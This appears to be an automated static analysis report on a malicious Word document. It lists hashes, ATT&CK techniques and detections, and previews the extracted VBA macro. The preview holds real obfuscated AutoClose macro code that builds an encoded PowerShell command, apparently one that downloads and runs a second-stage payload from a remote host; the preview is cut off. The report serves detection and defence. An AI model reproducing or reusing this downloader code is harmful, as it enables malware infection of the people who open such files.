Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 854e631c2f1996d3…

MALICIOUS

Office (OLE)

122.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 3a9884b8672c24b35e3769621c511bc4 SHA-1: ab7cdf07c24d1aa14fc0874d8548008b6d75c4ba SHA-256: 854e631c2f1996d3df6a2536923cde03938dc3954e8615cf30a5538cea5e47fe
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose event, which is designed to execute automatically when the document is closed. This macro utilizes the Shell() function to launch a PowerShell command. The reconstructed PowerShell command appears to be designed to download and execute a second-stage payload, indicated by the presence of 'powershell.exe -EC' and a long, encoded string.

Heuristics 6

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 99438 bytes
SHA-256: c65de27dd8d86adca014cd94602fc621b63e46712531dc5b1a25226f7351a332
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const weKuHanpyDezILYVuDOKIcySozoieXIRAiiP = 0
Sub AutoClose()
On Error Resume Next
Dim rUTuVeRYhoGAsOVaDYnIRavlicUwhYqmO(3)

rUTuVeRYhoGAsOVaDYnIRavlicUwhYqmO(0) = Right(FUMEvETaMOhzEnupuQAZiZE, 848)
rUTuVeRYhoGAsOVaDYnIRavlicUwhYqmO(1) = Sqr(1)
rUTuVeRYhoGAsOVaDYnIRavlicUwhYqmO(2) = Left(FUMEvETaMOhzEnupuQAZiZE, 848)
FFHuhuViEKusHYHEroPOWekasraWEgyqig = "d.exe /" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + " p^O^w^e^R^s^H^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^A^6^A^C^8^A^L^w^B^r^A^G^8^A^d^A^B^v^A^G^I^A^Z^Q^B^"
Dim kahILeTaTajTYsaWehobuL(3)

kahILeTaTajTYsaWehobuL(0) = Right(defEiYtECUNIPog, 7177)
kahILeTaTajTYsaWehobuL(1) = Sqr(1)
kahILeTaTajTYsaWehobuL(2) = Left(defEiYtECUNIPog, 7177)
Dim ZYZiCUFIvyGufuHUQEiIVeKapIlUjePYwYzOfOC(3)

ZYZiCUFIvyGufuHUQEiIVeKapIlUjePYwYzOfOC(0) = Right(tYjuDFeZAvazARIMPu, 7207)
ZYZiCUFIvyGufuHUQEiIVeKapIlUjePYwYzOfOC(1) = Sqr(1)
ZYZiCUFIvyGufuHUQEiIVeKapIlUjePYwYzOfOC(2) = Left(tYjuDFeZAvazARIMPu, 7207)
Dim fIJItisatyJEtecExUFubumy(3)

fIJItisatyJEtecExUFubumy(0) = Right(HiQEsoCiKuVafuxu, 9110)
fIJItisatyJEtecExUFubumy(1) = Sqr(8)
fIJItisatyJEtecExUFubumy(2) = Left(HiQEsoCiKuVafuxu, 9110)
Dim LugiGuXqAZovOROSERuXeLysyfagexeYxywISafyqYX(3)
Dim iEhUmexulEFaRivuCeLIucaqoVUquP(3)

iEhUmexulEFaRivuCeLIucaqoVUquP(0) = Right(WecUnyKefLijOhiQU, 420)
iEhUmexulEFaRivuCeLIucaqoVUquP(1) = Sqr(6)
iEhUmexulEFaRivuCeLIucaqoVUquP(2) = Left(WecUnyKefLijOhiQU, 420)

LugiGuXqAZovOROSERuXeLysyfagexeYxywISafyqYX(0) = Right(HYveUkUKOXaziiHI, 1180)
LugiGuXqAZovOROSERuXeLysyfagexeYxywISafyqYX(1) = Sqr(9)
LugiGuXqAZovOROSERuXeLysyfagexeYxywISafyqYX(2) = Left(HYveUkUKOXaziiHI, 1180)


MAiaViWurUlUBEiofuKOZImOcyWUhYGe = "s^A^G^E^A^b^Q^B^4^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^E^A^E^E^A^Q^g^A^v^A^G^4^A^Z^Q^B^y^A^G^k^A^b^Q^B^m^A^C^4^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^d^w^B^p^A^G^w^A^b^A^B^v^A^H^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^M^Q^A^u^A^H^A^A^Y^Q^B^z^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^X^A^A^x^A^D^U^A^N^g^A^y^A^D^Y^A^M^Q^A^0^A^D^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^M^Q^A^1^A^D^k^A^M^Q^A^x^A^D"
Dim CISazovEVernoXYFOEcoU(3)
Dim viaIfesIcENuwEFiQIGeztESavoVIQEBEwYie(3)

viaIfesIcENuwEFiQIGeztESavoVIQEBEwYie(0) = Right(SAwUtUVtIiUmeT, 7036)
viaIfesIcENuwEFiQIGeztESavoVIQEBEwYie(1) = Sqr(9)
viaIfesIcENuwEFiQIGeztESavoVIQEBEwYie(2) = Left(SAwUtUVtIiUmeT, 7036)
Dim LAiUrAjesEVawUXiHaaYKBiPiKYvADaKuKomUzIQycU(3)

LAiUrAjesEVawUXiHaaYKBiPiKYvADaKuKomUzIQycU(0) = Right(zIkusIwExAKYvEI, 6521)
LAiUrAjesEVawUXiHaaYKBiPiKYvADaKuKomUzIQycU(1) = Sqr(1)
LAiUrAjesEVawUXiHaaYKBiPiKYvADaKuKomUzIQycU(2) = Left(zIkusIwExAKYvEI, 6521)

CISazovEVernoXYFOEcoU(0) = Right(PvafEZUjYJ, 6293)
Dim RySuxOqADLyhIbUXYPAZebAtAsiCQAqOlugOkamyRyW(3)

RySuxOqADLyhIbUXYPAZebAtAsiCQAqOlugOkamyRyW(0) = Right(ZObaDukYtIPYma, 9916)
RySuxOqADLyhIbUXYPAZebAtAsiCQAqOlugOkamyRyW(1) = Sqr(8)
RySuxOqADLyhIbUXYPAZebAtAsiCQAqOlugOkamyRyW(2) = Left(ZObaDukYtIPYma, 9916)
CISazovEVernoXYFOEcoU(1) = Sqr(6)
CISazovEVernoXYFOEcoU(2) = Left(PvafEZUjYJ, 6293)
Dim iODipuKaFEbIiYsedACYHEgyNrasAXuz(3)

iODipuKaFEbIiYsedACYHEgyNrasAXuz(0) = Right(LYREJImykIzUr, 5644)
iODipuKaFEbIiYsedACYHEgyNrasAXuz(1) = Sqr(7)
iODipuKaFEbIiYsedACYHEgyNrasAXuz(2) = Left(LYREJImykIzUr, 5644)
Dim MIXasaHItudLAjixywUqadOH(3)

MIXas
... (truncated)

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